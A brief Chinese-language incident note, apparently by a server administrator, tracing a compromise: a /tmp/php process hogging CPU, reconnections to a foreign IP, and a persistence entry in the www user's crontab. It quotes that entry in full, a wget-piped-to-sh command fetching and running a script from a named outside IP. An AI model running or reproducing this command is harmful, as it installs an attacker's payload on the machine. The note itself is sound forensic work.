昨天发现 一台服务器突然慢了 top 显示 几个进程100%以上的cpu使用
执行命令为 :
/tmp/php -s /tmp/p2.conf
基本可以确定是被挂马了
下一步确定来源
last 没有登陆记录
先干掉这几个进程，但是几分钟之后又出现了
先看看这个木马想干什么吧
netstat 看到 这个木马开启了一个端口和国外的某个ip建立了连接
但是tcpdump了一小会儿 没有发现任何数据传递
这他是想干啥？
继续查看日志吧
在cron日志中发现了www用户 有一个crontab定时操作 基本就是这个问题了
ls /var/spool/cron/crontabs/www
wget -q -O - http://83.220.169.247/cr3.sh | sh > /dev/null 2>&1